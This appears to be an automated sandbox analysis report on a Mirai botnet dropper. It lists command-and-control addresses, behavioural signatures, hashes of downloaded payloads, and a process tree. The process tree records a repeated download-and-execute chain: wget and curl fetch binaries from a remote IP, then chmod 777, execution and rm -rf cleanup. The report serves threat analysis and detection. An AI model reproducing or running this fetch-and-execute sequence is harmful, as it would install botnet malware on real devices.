Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    27/07/2026, 02:19

General

  • Target
    e7d0e8064504a6051de6b11bb9df23c7c6dd1fa7f19d3b18be88b3418a9d1a86
  • Size 1KB
  • Sample260727-csa1msgj5v
  • SHA256 e7d0e8064504a6051de6b11bb9df23c7c6dd1fa7f19d3b18be88b3418a9d1a86
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Family
  • mirai

C2
  • 141.98.10.50

Extracted

Family
  • mirai

C2
  • 141.98.10.50

  • m4ch.ru

Extracted

Family
  • mirai

C2
  • m4ch.ru

Extracted

Family
  • mirai

C2
  • m4ch.ru

Extracted

Family
  • mirai

C2
  • m4ch.ru

Extracted

Family
  • mirai

C2
  • m4ch.ru

Extracted

Family
  • mirai

C2
  • 141.98.10.50

Signatures

  • Family: Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • File and Directory Permissions Modification 1 TTPs 12 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 12 IoCs
  • Modifies Watchdog functionality 1 TTPs 4 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates active TCP sockets 1 TTPs 2 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Changes its process name 4 IoCs
  • Checks CPU configuration 1 TTPs 12 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads system network configuration 1 TTPs 2 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 49 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 24 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/e7d0e8064504a6051de6b11bb9df23c7c6dd1fa7f19d3b18be88b3418a9d1a86
    /tmp/e7d0e8064504a6051de6b11bb9df23c7c6dd1fa7f19d3b18be88b3418a9d1a86
    1⤵
    • Executes dropped EXE
    PID:643
    • /usr/bin/wget
      wget http://5.182.210.61/7c9b30
      2⤵
      • Writes file to tmp directory
      PID:650
    • /usr/bin/curl
      curl -O http://5.182.210.61/7c9b30
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:670
    • /bin/chmod
      chmod 777 7c9b30
      2⤵
      • File and Directory Permissions Modification
      PID:672
    • /tmp/7c9b30
      ./7c9b30 bc
      2⤵
        PID:673
      • /bin/rm
        rm -rf 7c9b30
        2⤵
          PID:675
        • /bin/rm
          rm -rf 7c9b30.1
          2⤵
            PID:676
          • /usr/bin/wget
            wget http://5.182.210.61/5c0ee6
            2⤵
            • Writes file to tmp directory
            PID:677
          • /usr/bin/curl
            curl -O http://5.182.210.61/5c0ee6
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:678
          • /bin/chmod
            chmod 777 5c0ee6
            2⤵
            • File and Directory Permissions Modification
            PID:679
          • /tmp/5c0ee6
            ./5c0ee6 bc
            2⤵
              PID:680
            • /bin/rm
              rm -rf 5c0ee6
              2⤵
                PID:681
              • /bin/rm
                rm -rf 5c0ee6.1
                2⤵
                  PID:682
                • /usr/bin/wget
                  wget http://5.182.210.61/4d623f
                  2⤵
                  • Writes file to tmp directory
                  PID:683
                • /usr/bin/curl
                  curl -O http://5.182.210.61/4d623f
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:695
                • /bin/chmod
                  chmod 777 4d623f
                  2⤵
                  • File and Directory Permissions Modification
                  PID:708
                • /tmp/4d623f
                  ./4d623f bc
                  2⤵
                    PID:710
                  • /bin/rm
                    rm -rf 4d623f
                    2⤵
                      PID:712
                    • /bin/rm
                      rm -rf 4d623f.1
                      2⤵
                        PID:714
                      • /usr/bin/wget
                        wget http://5.182.210.61/e2334e
                        2⤵
                        • Writes file to tmp directory
                        PID:716
                      • /usr/bin/curl
                        curl -O http://5.182.210.61/e2334e
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:730
                      • /bin/chmod
                        chmod 777 e2334e
                        2⤵
                        • File and Directory Permissions Modification
                        PID:737
                      • /tmp/e2334e
                        ./e2334e bc
                        2⤵
                        • Modifies Watchdog functionality
                        • Enumerates active TCP sockets
                        • Changes its process name
                        • Reads system network configuration
                        • Reads runtime system information
                        PID:738
                      • /bin/rm
                        rm -rf e2334e
                        2⤵
                          PID:740
                        • /bin/rm
                          rm -rf e2334e.1
                          2⤵
                            PID:743
                          • /usr/bin/wget
                            wget http://5.182.210.61/95a675
                            2⤵
                            • Writes file to tmp directory
                            PID:744
                          • /usr/bin/curl
                            curl -O http://5.182.210.61/95a675
                            2⤵
                            • Checks CPU configuration
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:745
                          • /bin/chmod
                            chmod 777 95a675
                            2⤵
                            • File and Directory Permissions Modification
                            PID:746
                          • /tmp/95a675
                            ./95a675 bc
                            2⤵
                              PID:747
                            • /bin/rm
                              rm -rf 95a675
                              2⤵
                                PID:749
                              • /bin/rm
                                rm -rf 95a675.1
                                2⤵
                                  PID:750
                                • /usr/bin/wget
                                  wget http://5.182.210.61/dd4c2c
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:751
                                • /usr/bin/curl
                                  curl -O http://5.182.210.61/dd4c2c
                                  2⤵
                                  • Checks CPU configuration
                                  • Reads runtime system information
                                  • Writes file to tmp directory
                                  PID:760
                                • /bin/chmod
                                  chmod 777 dd4c2c
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:774
                                • /tmp/dd4c2c
                                  ./dd4c2c bc
                                  2⤵
                                    PID:776
                                  • /bin/rm
                                    rm -rf dd4c2c
                                    2⤵
                                      PID:778
                                    • /bin/rm
                                      rm -rf dd4c2c.1
                                      2⤵
                                        PID:780
                                      • /usr/bin/wget
                                        wget http://5.182.210.61/55dd96
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:782
                                      • /usr/bin/curl
                                        curl -O http://5.182.210.61/55dd96
                                        2⤵
                                        • Checks CPU configuration
                                        • Reads runtime system information
                                        • Writes file to tmp directory
                                        PID:789
                                      • /bin/chmod
                                        chmod 777 55dd96
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:790
                                      • /tmp/55dd96
                                        ./55dd96 bc
                                        2⤵
                                          PID:791
                                        • /bin/rm
                                          rm -rf 55dd96
                                          2⤵
                                            PID:793
                                          • /bin/rm
                                            rm -rf 55dd96.1
                                            2⤵
                                              PID:794
                                            • /usr/bin/wget
                                              wget http://5.182.210.61/222587
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:795
                                            • /usr/bin/curl
                                              curl -O http://5.182.210.61/222587
                                              2⤵
                                              • Checks CPU configuration
                                              • Reads runtime system information
                                              • Writes file to tmp directory
                                              PID:796
                                            • /bin/chmod
                                              chmod 777 222587
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:797
                                            • /tmp/222587
                                              ./222587 bc
                                              2⤵
                                                PID:798
                                              • /bin/rm
                                                rm -rf 222587
                                                2⤵
                                                  PID:800
                                                • /bin/rm
                                                  rm -rf 222587.1
                                                  2⤵
                                                    PID:801
                                                  • /usr/bin/wget
                                                    wget http://5.182.210.61/79c7f5
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:802
                                                  • /usr/bin/curl
                                                    curl -O http://5.182.210.61/79c7f5
                                                    2⤵
                                                    • Checks CPU configuration
                                                    • Reads runtime system information
                                                    • Writes file to tmp directory
                                                    PID:803
                                                  • /bin/chmod
                                                    chmod 777 79c7f5
                                                    2⤵
                                                    • File and Directory Permissions Modification
                                                    PID:804
                                                  • /tmp/79c7f5
                                                    ./79c7f5 bc
                                                    2⤵
                                                      PID:805
                                                    • /bin/rm
                                                      rm -rf 79c7f5
                                                      2⤵
                                                        PID:807
                                                      • /bin/rm
                                                        rm -rf 79c7f5.1
                                                        2⤵
                                                          PID:808
                                                        • /usr/bin/wget
                                                          wget http://5.182.210.61/15731e
                                                          2⤵
                                                          • Writes file to tmp directory
                                                          PID:809
                                                        • /usr/bin/curl
                                                          curl -O http://5.182.210.61/15731e
                                                          2⤵
                                                          • Checks CPU configuration
                                                          • Reads runtime system information
                                                          • Writes file to tmp directory
                                                          PID:810
                                                        • /bin/chmod
                                                          chmod 777 15731e
                                                          2⤵
                                                          • File and Directory Permissions Modification
                                                          PID:811
                                                        • /tmp/15731e
                                                          ./15731e bc
                                                          2⤵
                                                            PID:812
                                                          • /bin/rm
                                                            rm -rf 15731e
                                                            2⤵
                                                              PID:813
                                                            • /bin/rm
                                                              rm -rf 15731e.1
                                                              2⤵
                                                                PID:814
                                                              • /usr/bin/wget
                                                                wget http://5.182.210.61/6cc587
                                                                2⤵
                                                                • Writes file to tmp directory
                                                                PID:815
                                                              • /usr/bin/curl
                                                                curl -O http://5.182.210.61/6cc587
                                                                2⤵
                                                                • Checks CPU configuration
                                                                • Reads runtime system information
                                                                • Writes file to tmp directory
                                                                PID:816
                                                              • /bin/chmod
                                                                chmod 777 6cc587
                                                                2⤵
                                                                • File and Directory Permissions Modification
                                                                PID:817
                                                              • /tmp/6cc587
                                                                ./6cc587 bc
                                                                2⤵
                                                                • Modifies Watchdog functionality
                                                                • Enumerates active TCP sockets
                                                                • Changes its process name
                                                                • Reads system network configuration
                                                                • Reads runtime system information
                                                                PID:818
                                                              • /bin/rm
                                                                rm -rf 6cc587
                                                                2⤵
                                                                  PID:820
                                                                • /bin/rm
                                                                  rm -rf 6cc587.1
                                                                  2⤵
                                                                    PID:823
                                                                  • /usr/bin/wget
                                                                    wget http://5.182.210.61/9ab7cd
                                                                    2⤵
                                                                    • Writes file to tmp directory
                                                                    PID:824
                                                                  • /usr/bin/curl
                                                                    curl -O http://5.182.210.61/9ab7cd
                                                                    2⤵
                                                                    • Checks CPU configuration
                                                                    • Reads runtime system information
                                                                    • Writes file to tmp directory
                                                                    PID:825
                                                                  • /bin/chmod
                                                                    chmod 777 9ab7cd
                                                                    2⤵
                                                                    • File and Directory Permissions Modification
                                                                    PID:826
                                                                  • /tmp/9ab7cd
                                                                    ./9ab7cd bc
                                                                    2⤵
                                                                      PID:827
                                                                    • /bin/rm
                                                                      rm -rf 9ab7cd
                                                                      2⤵
                                                                        PID:829
                                                                      • /bin/rm
                                                                        rm -rf 9ab7cd.1
                                                                        2⤵
                                                                          PID:830

                                                                      Network

                                                                            MITRE ATT&CK Enterprise v16

                                                                            Replay Monitor

                                                                            Loading Replay Monitor...

                                                                            Downloads

                                                                            15731e

                                                                            • Path /tmp/15731e
                                                                            • Size 57KB
                                                                            • SHA256 b26f0922377fe34dcfb3df39c497b5cf4bd491aa2678196d976586adef85ac64
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            222587

                                                                            • Path /tmp/222587
                                                                            • Size 61KB
                                                                            • SHA256 9600dc90de0e5b779cdb592b7bb0b0574c48e1c9f3843c93359897122c441034
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            4d623f

                                                                            • Path /tmp/4d623f
                                                                            • Size 45KB
                                                                            • SHA256 5e585a50f8885c21c810aa941a5d45ecc5a18cbf57f82968254d594a852d8bcd
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            55dd96

                                                                            • Path /tmp/55dd96
                                                                            • Size 49KB
                                                                            • SHA256 ce7568afc34c67e286c731c882d03a9b2a8401b04fbd4613f5bcb98f4b09a277
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            5c0ee6

                                                                            • Path /tmp/5c0ee6
                                                                            • Size 40KB
                                                                            • SHA256 a64aadbc9c68fad12433ca75b2ded3c70db9a73ada83c7abf4882b04cd91f500
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            6cc587

                                                                            • Path /tmp/6cc587
                                                                            • Size 117KB
                                                                            • SHA256 6478019943fc500df849033186a551102cb20d0e485231456bb40936ebd8010e
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            79c7f5

                                                                            • Path /tmp/79c7f5
                                                                            • Size 42KB
                                                                            • SHA256 d487a3bbd941c891d83433d955b05d9a569a04a61f8dc6b33b79c8842dc42100
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            7c9b30

                                                                            • Path /tmp/7c9b30
                                                                            • Size 42KB
                                                                            • SHA256 cda62e4f1121da4c98747dde8e4f79acb4a95fb8e8ce8412023e9b04c985bd2b
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            95a675

                                                                            • Path /tmp/95a675
                                                                            • Size 63KB
                                                                            • SHA256 805a01d5cda9cf31423b7fc2cc70165098505500c9107bb47b4303c0a60cb208
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            9ab7cd

                                                                            • Path /tmp/9ab7cd
                                                                            • Size 47KB
                                                                            • SHA256 87da5dd36a95e1c0acbaff137a56d94a9339fdcf42577974b53fbd6f69c11219
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            dd4c2c

                                                                            • Path /tmp/dd4c2c
                                                                            • Size 45KB
                                                                            • SHA256 01dc4719944a22b0d4fc55112ed7d7366ea82773ffa178bedf472b3d66d8b3b9
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            e2334e

                                                                            • Path /tmp/e2334e
                                                                            • Size 48KB
                                                                            • SHA256 bf20fa97c5afa6cb4d25611fb5a6b9d1fc3dc18ecb07f6ba1bd80d9de05ad5b2
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH